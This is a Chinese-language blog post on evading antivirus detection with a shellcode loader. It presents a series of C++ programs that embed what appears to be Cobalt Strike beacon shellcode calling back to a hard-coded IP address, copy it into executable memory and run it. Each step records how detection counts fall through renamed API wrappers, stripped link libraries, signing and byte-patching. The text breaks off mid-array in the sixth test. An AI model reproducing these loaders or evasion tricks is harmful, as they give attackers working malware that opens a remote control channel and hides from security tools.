恶意程序初探
2021-02-01 21:05:01 Author: xz.aliyun.com(查看原文) 阅读量:159 收藏

Test1 原始代码

代码

#include <stdafx.h>
#include <windows.h>

using namespace std;
int main(int argc, char** argv)
{
    unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5a\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x39\x6c\x55\x62\x00\x13\xfe\xe1\xc6\x83\x56\xb8\x4f\xa7\x6f\x23\x49\x7c\x33\x12\x4b\x7a\xed\x09\x1a\x3f\x83\x99\x37\x76\x11\xba\xf9\x60\xe9\xb5\x48\xc3\x61\xfa\x80\x96\x9f\xd8\xe5\x82\x52\xca\x21\x40\x5c\x48\x3f\x5e\x2d\x38\x4a\x3e\xb1\x05\xf5\x64\x2c\xe9\x8e\xb3\x93\x7a\x44\xe2\xfc\x2f\x30\xbb\xf4\x6a\x4b\xd1\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\xb8\xa3\x60\x3a\x2c\x86\xcc\x68\x54\x7d\x79\xe8\x00\x30\x72\xee\xfa\x99\x41\x0f\xc9\x24\x57\x88\x79\x7b\xd3\x11\xe3\x94\x29\x8b\xc9\x0b\xd0\x38\x30\xad\x04\x92\xd8\x6b\x3f\x5d\x71\x6b\x01\x0e\x91\xc9\x77\x14\x47\x56\xdb\xed\x3e\x97\xc9\x49\x17\xfd\xb2\xc4\xf8\x77\x59\x7f\x90\xfc\x10\x38\x19\x1e\xa0\xca\x16\x00\x90\x97\x1e\xae\x4c\x60\xf2\x01\x2a\xe3\x07\x30\x99\x53\xb4\xb7\xdb\x76\xe3\x7f\xb3\x35\xdf\x96\x9e\x40\x25\x82\x86\x93\xe9\x99\xe2\x0f\x4c\x5b\xda\x3a\x1a\xdb\x61\xc6\x36\xb4\x88\xce\xd8\xc0\x96\x7e\x78\x05\x86\xc9\x80\xee\xb0\x4d\x4c\xb4\x0c\xba\x05\x77\xe2\x6c\x87\xca\xfd\xc3\xdb\xe6\x76\x40\x3f\xaf\x60\xfc\x6b\xed\xb2\xf5\x46\x69\x09\xce\x62\xc8\x2c\xb8\x61\xa8\x5f\x02\x1e\x96\x24\x2a\x09\x22\xef\x97\x26\x1f\xe9\xda\x75\xb2\x4f\x81\x3e\x05\x93\x30\xed\x23\x2c\x1b\x59\xf4\x47\x0b\xa2\x15\xb8\x26\xcf\x06\xcf\x18\xaf\x7d\x96\x4f\x75\x2f\xf7\x29\xa1\x92\x8f\xf0\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36\x00\x6f\xaa\x51\xc3";
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

查杀效果 33/70

Test2 替换敏感函数

原理

通过把重写敏感函数进行绕过杀软检测

代码

#include "stdafx.h"
#include "windows.h"

using namespace std;

//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect)
{
    return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void *fackto(void* str1, const void* str2, size_t n)
{
    return memcpy(str1, str2, n);
}


int main(int argc, char** argv)
{
    unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5d\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x77\x4c\x58\x41\x00\x0f\x62\x83\xaf\x4a\x3f\x70\x88\xaf\x12\x74\xcf\x44\xef\x27\x40\xf1\xf9\xb9\xbe\x29\x9a\xf5\xf4\x4a\xd6\x0d\x02\x5d\x63\xa6\x60\x8d\xdb\xef\x58\x95\xd4\xc3\x7d\xe8\x8d\x45\x15\x63\xcd\x5e\x83\xce\xdd\x63\x2f\x27\x4a\x41\x57\xc8\xaf\x8e\xc3\xdb\x9f\x30\xfe\x31\x92\x18\xa9\xc3\xee\xa6\x18\x1e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x6b\x31\xd3\x4a\xd2\x68\xaf\x91\xbc\x9e\xb9\x2f\x5a\x9e\xba\xc9\xe5\xf3\x20\x91\xf5\xf8\x80\x28\xe8\x5a\xe8\xfb\x44\xd8\x31\xa2\xb5\xc4\xc0\x28\xba\x33\x63\x9c\x14\xdc\x5d\x1c\xd0\x93\x7c\xf8\xbc\xf1\xd2\xad\x94\xee\x38\xeb\xc8\xde\x36\xf9\x37\xea\xaa\x82\xd0\x39\x25\x47\x67\xa2\x32\xbe\x59\x60\xdf\xcb\x72\x6c\x2d\x04\x87\x88\x70\x4f\x33\x98\x11\x0e\xc3\xad\xfb\x7d\x5c\x3d\xb7\x51\x08\x2c\x54\x93\xcd\x55\xba\x91\x09\x8c\x51\x74\xae\xae\x50\x95\xc9\x30\x98\xda\xd0\x81\x2e\x1e\xee\x7b\x02\xab\x9d\x60\x33\xd8\x40\x36\xd0\x08\x9f\x52\x87\x2f\xd0\x41\x16\xdd\x7a\xba\x48\x45\xbc\xbc\xaa\xd3\x6b\x98\x4f\x7e\xb1\xf0\xbe\x6d\x62\x32\x6d\xe7\xab\xe5\x3f\xac\x51\x99\x13\x9b\xf1\x61\x3b\x10\x1b\x5c\xae\x38\x42\x76\x6e\x7b\xc8\x22\xb0\x3a\x28\x04\xeb\x21\x63\xf7\x63\xcc\x86\xd4\xdd\x1c\xae\x41\x9d\xd7\xb2\xc9\x51\x5d\x1c\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36\x00\x12\x34\x56\x78";
    void* exec = fAV(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    fackto(exec, buf, sizeof buf);
    ((void(*)())exec)();
}

查杀效果 33/71

多绕过了一家杀软

Test3 删除链接库

原理

有些反病毒软件会识别链接器中的问题,如果说xxx.lib这些编译器会自动帮我们加上,如果把链接器选项中的其他依赖项删除掉(尤其是kernel32.lib),某些反恶意软件引擎就不会把生成的可执行文件标记为恶意的。

代码

#include "stdafx.h"
#include "windows.h"
#include"public.hpp"
using namespace std;

//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect)
{
    return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void *fackto(void* str1, const void* str2, size_t n)
{
    return memcpy(str1, str2, n);
}


int main(int argc, char** argv)
{
    unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5d\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x77\x4c\x58\x41\x00\x0f\x62\x83\xaf\x4a\x3f\x70\x88\xaf\x12\x74\xcf\x44\xef\x27\x40\xf1\xf9\xb9\xbe\x29\x9a\xf5\xf4\x4a\xd6\x0d\x02\x5d\x63\xa6\x60\x8d\xdb\xef\x58\x95\xd4\xc3\x7d\xe8\x8d\x45\x15\x63\xcd\x5e\x83\xce\xdd\x63\x2f\x27\x4a\x41\x57\xc8\xaf\x8e\xc3\xdb\x9f\x30\xfe\x31\x92\x18\xa9\xc3\xee\xa6\x18\x1e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x6b\x31\xd3\x4a\xd2\x68\xaf\x91\xbc\x9e\xb9\x2f\x5a\x9e\xba\xc9\xe5\xf3\x20\x91\xf5\xf8\x80\x28\xe8\x5a\xe8\xfb\x44\xd8\x31\xa2\xb5\xc4\xc0\x28\xba\x33\x63\x9c\x14\xdc\x5d\x1c\xd0\x93\x7c\xf8\xbc\xf1\xd2\xad\x94\xee\x38\xeb\xc8\xde\x36\xf9\x37\xea\xaa\x82\xd0\x39\x25\x47\x67\xa2\x32\xbe\x59\x60\xdf\xcb\x72\x6c\x2d\x04\x87\x88\x70\x4f\x33\x98\x11\x0e\xc3\xad\xfb\x7d\x5c\x3d\xb7\x51\x08\x2c\x54\x93\xcd\x55\xba\x91\x09\x8c\x51\x74\xae\xae\x50\x95\xc9\x30\x98\xda\xd0\x81\x2e\x1e\xee\x7b\x02\xab\x9d\x60\x33\xd8\x40\x36\xd0\x08\x9f\x52\x87\x2f\xd0\x41\x16\xdd\x7a\xba\x48\x45\xbc\xbc\xaa\xd3\x6b\x98\x4f\x7e\xb1\xf0\xbe\x6d\x62\x32\x6d\xe7\xab\xe5\x3f\xac\x51\x99\x13\x9b\xf1\x61\x3b\x10\x1b\x5c\xae\x38\x42\x76\x6e\x7b\xc8\x22\xb0\x3a\x28\x04\xeb\x21\x63\xf7\x63\xcc\x86\xd4\xdd\x1c\xae\x41\x9d\xd7\xb2\xc9\x51\x5d\x1c\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36\x00\x12\x34\x56\x78";
    UINT shellcodeSize = sizeof shellcode;

    //2.Get shellcode memory
    pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
    LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    fackto(Memory, shellcode, shellcodeSize);
    //3.Execute shellcode
    ((void(*)())Memory)();
    return 0;
}

也可以直接使用VS2019打开Test2代码,项目>>属性>>输入>>附加依赖项清空即可

查杀效果 27/71

Test4 为二进制文件签名

原理

有些杀软可能会检测签名,我们可以给二进制木马文件加签名

查杀效果 24/71

Test5 字符替换1

原理

void memcpy(void str1, const void* str2, size_t n)

memcpy函数可以把从存储区 str2 复制 n 个字节到存储区 str1。

使用该原理我们可以修改CS生成的shellcode减少特征。

代码

#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积 
#endif
#include "stdafx.h"
#include "windows.h"

#include <iostream>

using namespace std;
typedef LPVOID(WINAPI* pfnVirtualAlloc)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect)
{
    return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void* fackto(void* str1, const void* str2, size_t n)
{
    return memcpy(str1, str2, n);
}




int main(int argc, char** argv)
{
    unsigned char shellcode[] = "\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5d\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x77\x4c\x58\x41\x00\x0f\x62\x83\xaf\x4a\x3f\x70\x88\xaf\x12\x74\xcf\x44\xef\x27\x40\xf1\xf9\xb9\xbe\x29\x9a\xf5\xf4\x4a\xd6\x0d\x02\x5d\x63\xa6\x60\x8d\xdb\xef\x58\x95\xd4\xc3\x7d\xe8\x8d\x45\x15\x63\xcd\x5e\x83\xce\xdd\x63\x2f\x27\x4a\x41\x57\xc8\xaf\x8e\xc3\xdb\x9f\x30\xfe\x31\x92\x18\xa9\xc3\xee\xa6\x18\x1e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x6b\x31\xd3\x4a\xd2\x68\xaf\x91\xbc\x9e\xb9\x2f\x5a\x9e\xba\xc9\xe5\xf3\x20\x91\xf5\xf8\x80\x28\xe8\x5a\xe8\xfb\x44\xd8\x31\xa2\xb5\xc4\xc0\x28\xba\x33\x63\x9c\x14\xdc\x5d\x1c\xd0\x93\x7c\xf8\xbc\xf1\xd2\xad\x94\xee\x38\xeb\xc8\xde\x36\xf9\x37\xea\xaa\x82\xd0\x39\x25\x47\x67\xa2\x32\xbe\x59\x60\xdf\xcb\x72\x6c\x2d\x04\x87\x88\x70\x4f\x33\x98\x11\x0e\xc3\xad\xfb\x7d\x5c\x3d\xb7\x51\x08\x2c\x54\x93\xcd\x55\xba\x91\x09\x8c\x51\x74\xae\xae\x50\x95\xc9\x30\x98\xda\xd0\x81\x2e\x1e\xee\x7b\x02\xab\x9d\x60\x33\xd8\x40\x36\xd0\x08\x9f\x52\x87\x2f\xd0\x41\x16\xdd\x7a\xba\x48\x45\xbc\xbc\xaa\xd3\x6b\x98\x4f\x7e\xb1\xf0\xbe\x6d\x62\x32\x6d\xe7\xab\xe5\x3f\xac\x51\x99\x13\x9b\xf1\x61\x3b\x10\x1b\x5c\xae\x38\x42\x76\x6e\x7b\xc8\x22\xb0\x3a\x28\x04\xeb\x21\x63\xf7\x63\xcc\x86\xd4\xdd\x1c\xae\x41\x9d\xd7\xb2\xc9\x51\x5d\x1c\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36\x00\x12\x34\x56\x78";
    unsigned char code1[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b";
    unsigned char code2[] = "";
    //unsigned char code2[] = "\x00\x00\x00\x00\x00\x00\xff\xff\x00\xff\xff\x00";   
    UINT shellcodeSize = sizeof shellcode;
    fackto(shellcode, code1, 13);

    //2.Get shellcode memory
    pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
    LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    fackto(Memory, shellcode, shellcodeSize);
    //3.Execute shellcode
    ((void(*)())Memory)();
    return 0;
}

查杀效果 10/70

Test6 字符替换2

原理

Tets5中我们替换了shellcode前面的一串字符,现在我们把shellcode最后面一些字符去除掉,然后通过memcpy函数还原。

代码

#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积 
#endif
#include "stdafx.h"
#include "windows.h"

#include <iostream>

using namespace std;
typedef LPVOID(WINAPI* pfnVirtualAlloc)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect)
{
    return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void* fackto(void* str1, const void* str2, size_t n)
{
    return memcpy(str1, str2, n);
}




int main(int argc, char** argv)
{
    unsigned char shellcode[] = "\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5d\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\